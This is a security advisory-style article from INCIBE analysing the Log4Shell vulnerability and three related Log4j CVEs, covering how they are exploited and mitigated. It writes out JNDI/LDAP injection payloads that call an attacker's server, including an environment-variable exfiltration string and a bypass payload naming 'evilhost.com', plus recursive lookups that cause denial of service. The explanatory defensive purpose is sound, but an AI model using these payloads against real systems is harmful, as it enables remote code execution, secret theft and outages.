Log4Shell: analysis of vulnerabilities in Log4j

Posted date 24/02/2022
Autor
INCIBE (INCIBE)
Log4Shell: analysis of vulnerabilities in Log4j

Introduction and motivation

On 9 December 2021, the remote code execution (RCE) vulnerability called Log4Shell, which affects the opensource software library Log4j, developed in Java and maintained by the Apache Software Foundation, was revealed to the public. The same day, some of the first exploits had already been published, which led to specialised sources warning of the severity of the vulnerability, given that Log4j is a library often used in the business software Java.

After publication of the vulnerability, Apache released an update to fix the flaw. However, other vulnerabilities associated with different versions of Log4j have been discovered. In total, there are four vulnerabilities related to this event.

The main reason behind the publication of this article is the importance and serious consequences of this vulnerability, which is probably the most significant of the year and among the most important of the decade. As a reasonable time has elapsed since the general alarm, and there is now a more complete picture, an analysis of the failures can be undertaken.

Mechanism of exploitation

To successfully exploit this vulnerability a HTTP request is sent to the victim server with data containing specifically designed values. The victim server must be using the Java library Log4j for log management. Even if actively exploited via web servers, a server is vulnerable as long as it receives user-controlled data and passes it through the Log4j library.

The components which take advantage of this vulnerability are the lookups. In Log4j this feature provides a way of adding values to the Log4j configuration from arbitrary locations. Among the different lookups, the two that are the most taken advantage of in Log4Shell are:

  • JNDI Lookup.
  • Environment Lookup.

Attack vectors

CVE-2021-44228 - CVSS v3.1: 10 - RCE

The structure of the basic payload of the attack is the following:

${jndi:<protocol>://<attacker's server>/<file>}

For example, the payload used to take advantage of the LDAP protocol is:

${jndi:ldap://<attacker's server>/<file>}

The operating field can be any field, the only requirement is that is passes through the Log4j library. This means that a vulnerable field can be anything from the User-Agent to a simple login or search formula. Step by step the complete process for serious exploitation is:

  • Search for a field where data can be inserted, so the information passes through the Log4j library.
  • The malicious payload is injected so it is processed by Log4j.
  • If the server is vulnerable, it will use JNDI, which will send the request to the indicated LDAP server if the LDAP protocol has been used in the payload.
  • The LDAP server controlled by the attacker redirects the malicious .class file to the vulnerable application.
  • The vulnerable server loads the .class file provided by the attacker-controlled LDAP server and executes it, thus giving the attacker remote command execution. This step depends on the version of Java that is running on the vulnerable server and the application itself.

The Swiss government’s CERT created a diagram in which the exploitation procedure of Log4Shell using the LDAP protocol is visualised. The diagram also summarises the mitigations for each part of the process.

Log4Shell Swiss CERT

Figure 1. Summary of the attack and mitigation of Log4Shell, according to the Swiss CERT diagram

Following the same procedure, by adding the use of the previously mentioned Environment Lookup previously mentioned, system environment variables can be exfiltrated. Its structure would be:

${env:<environment variable>}

Concatenating this lookup with the JNDI lookup, a method to exfiltrate information could be the following:

${jndi:ldap:// ${env:<environment variable>}.<attacker's server>/<file>}

In this way, the attacker can also obtain environment variables from the vulnerable server they control.

CVE-2021-45046 - CVSS v3.1: 9 – RCE/LCE/DoS

CVE-2021-45046 comes from an attempt to correct a previous vulnerability (CVE-2021-44228), where errors were detected under certain non-default configurations. Initially, the CVSS Score of this vulnerability was low (3.7) as the corrected version 2.15.0 only allowed local connections in lookup messages. However, it changed to critical (9.0) when experts discovered additional methods of exploitation that could lead to potential information leaks and attacks through the execution of remote code execution (RCE) and local code execution (LCE).

The solution given in the 2.15.0 version was to disable lookup messages by default and block any attempt at remote connection through lookups. However, new vectors of attack were discovered, in which user-controlled data for message logging are injected via the following method of ThreadContext class:

ThreadContext.put("lookup-key”, attackerControlled);

In this way, an attacker can insert malicious data which will be evaluated by functionality “context lookup”, using:

[${ctx:lookup-key}]

Normally, a log pattern in Log4j has the following format:

appender.console.layout.pattern = %d{MM:dd HH:mm:ss.SSS} [%t] [%level] – %msg%n

Here a developer could modify the given pattern and add a variable using the object ThreadContext in the following way:

appender.console.layout.pattern = %d{MM:dd HH:mm:ss.SSS} [%t] [%level] [${ctx:username}] – %msg%n

In this case, and in a legitimate use, the variable [${ctx:username}] would print the value of username, which is stored inside the ThreadContext object. Consequently, Log4j executes an “object lookup” to return the value that corresponds to the username variable.

Although this variable is used at application level, it may contain data controlled by a malicious actor, so the vulnerability can be easily exploited.

One of the most common exploitations is the denial-of-service attack (DoS) by setting the controlled value lookup. This is set to the same value as the lookup-key, which would lead to an infinite loop, as the function resolving this object would not infinitely query the variable.

Despite the fact that the new version only permitted local connections, a new way to avoid this configuration by default was discovered, thus allowing attack through the execution of remote code under certain conditions. The payload used to test this concept is the following:

${jndi:ldap://127.0.0.1#evilhost.com:1389/a}

According to experts, this happened due to the way in which the verifiers allowedLdapHost and allowedClasses are inserted in the source code.

Vulnerable code to CVE-2021-45046

Figure 2. Example of code vulnerable to CVE-2021-45046

In the process of verification, the method getHost() from the java.net.URI library returns the value before the # symbol shown in the payload, 127.0.0.1 being the address of the real host. However, when attempting to resolve JNDI/LDAP prefixes, the full domain is returned, which would lead to an attempt to connect to the malicious LDAP server.

The remote execution of the code is only effective under the following conditions:

  • The flag for the formatMsgNoLookups variable is activated.
  • %m{nolookups} is configured by replacing the data in the aforementioned ThreadContext class with the data controlled by the attacker.

According to the briefing notes issued by the Apache Foundation, information leakage and local code execution (LCE) have been tested in all environments. However, remote code execution (RCE) has only been tested on macOS, Fedora, Arch Linux y Alpine Linux.

CVE-2021-45105 - CVSS v3.1: 5,9 – DoS

An attacker with input control (e.g., via the “Thread Context Map”) can create a malicious search variable, which will cause an infinite recursive search, resulting in a process crash and DoS (denial of service).

Vulnerable method CVE-2021-45105

Figure 3. Vulnerable method in CVE-2021-45105

This is possible because when a nested variable is substituted by the "StrSubstitutor" class, the "substitute()" method is called recursively. Therefore, if the nested variable refers to the variable itself, the substitution flow causes an infinite recursion, resulting in a crash of the process.

For example, given the following Pattern Layout with the ContextLookup of "${ctx.loginId}", if we assign the value as "${${ctx:loginId}}", the code will be recursively substituted in an infinite loop.

Infinite loop caused by CVE-2021-45105

Figure 4. Example of an infinite loop caused by CVE-2021-45105

CVE-2021-44832 - CVSS v3.1: 6,6 – RCE – ACE

The versions of Apache Log4j2 from 2.0-beta7 to 2.17.0 (excluding versions with the security correction 2.3.2 and 2.12.4) are vulnerable to remote code execution (RCE) attack.

This vulnerability can allow arbitrary code execution via a function that loads the remote configuration for JDBC (Java Database Connectivity) into an XML file. If the attacker has written permissions on this registry configuration file, the JDBC Appender can be modified with a data source pointing to a URL containing the payload, leading to the execution of the code.

Example vulnerability CVE-2021-44832

Figure 5. Example of CVE-2021-44832

Affectation and detection

The universality of the Log4j library, which is present in countless software products, makes it practically impossible to create a complete list of the technologies affected by the vulnerability, although INCIBE-CERT has created and updated a technical advisor that brings together information on the main manufacturers affected. It also includes a set of Yara, Snort and Suricata rules to detect threat.

It is worth noting that a good number of industrial control system (ICS) manufacturers have published lists of their products affected by Log4j, and INCIBE-CERT has registered the most important ones in an ICS advisor.

Conclusion

The emergence of Log4Shell posed a cybersecurity challenge at the end of 2021, mainly because of the very broad reach of the Log4j library, as well as the severity of the vulnerability itself.

This highlighted the importance of third-party open-source libraries that are incorporated as part of a product, and which are fundamental to the correct functioning of the application, but which frequently do not receive the minimum necessary maintenance, often depending on the selfless work of a small community of developers.

The importance of logging tools has also become clear, as stated in the previous paragraph they do not receive as much attention as they should from development and security teams.